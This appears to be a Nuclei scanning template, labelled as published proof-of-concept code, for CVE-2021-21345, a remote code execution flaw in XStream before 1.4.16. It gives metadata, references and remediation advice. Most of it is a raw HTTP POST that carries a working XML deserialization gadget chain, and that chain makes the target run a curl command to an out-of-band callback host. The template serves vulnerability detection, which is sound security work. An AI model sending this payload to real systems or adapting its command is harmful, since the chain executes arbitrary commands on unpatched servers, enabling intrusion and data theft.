XStream before 1.4.16 is susceptible to remote code execution. An attacker who has sufficient rights can execute host commands via manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
PoC代码[已公开]
id: CVE-2021-21345
info:
name: XStream <1.4.16 - Remote Code Execution
author: pwnhxl,vicrack
severity: critical
description: |
XStream before 1.4.16 is susceptible to remote code execution. An attacker who has sufficient rights can execute host commands via manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
remediation: Install at least 1.4.16 if you rely on XStream's default blacklist of the Security Framework.
reference:
- https://x-stream.github.io/CVE-2021-21345.html
- http://x-stream.github.io/changes.html#1.4.16
- https://github.com/x-stream/xstream/security/advisories/GHSA-hwpc-8xqv-jvj4
- https://nvd.nist.gov/vuln/detail/CVE-2021-21345
- https://lists.apache.org/thread.html/r8244fd0831db894d5e89911ded9c72196d395a90ae655414d23ed0dd@%3Cusers.activemq.apache.org%3E
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.9
cve-id: CVE-2021-21345
cwe-id: CWE-78,CWE-502
epss-score: 0.85307
epss-percentile: 0.99319
cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: xstream_project
product: xstream
tags: cve2021,cve,xstream,deserialization,rce,oast,xstream_project
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
<indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
<packet>
<message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
<dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
<bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
<bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
<bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
<jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType>
<uriProperties/>
<attributeProperties/>
<inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
<getter>
<class>com.sun.corba.se.impl.activation.ServerTableEntry</class>
<name>verify</name>
<parameter-types/>
</getter>
</inheritedAttWildcard>
</bi>
<tagName/>
<context>
<marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
<outer-class reference='../..'/>
</marshallerPool>
<nameList>
<nsUriCannotBeDefaulted>
<boolean>true</boolean>
</nsUriCannotBeDefaulted>
<namespaceURIs>
<string>1</string>
</namespaceURIs>
<localNames>
<string>UTF-8</string>
</localNames>
</nameList>
</context>
</bridge>
</bridge>
<jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'>
<activationCmd>curl http://{{interactsh-url}}</activationCmd>
</jaxbObject>
</dataSource>
</message>
<satellites/>
<invocationProperties/>
</packet>
</indexMap>
</comparator>
</default>
<int>3</int>
<string>javax.xml.ws.binding.attachments.inbound</string>
<string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: curl"
# digest: 4b0a00483046022100b3f7364de0eaf92d20ba819dd86a02f35be5972a56a833839d95ad870e2d3cf3022100abe0b820f456c47b01ac083e2fecd9a0c63c558ae98ffe57fc21c8197c3c0abd:922c64590222798bb761d5b6d8e72950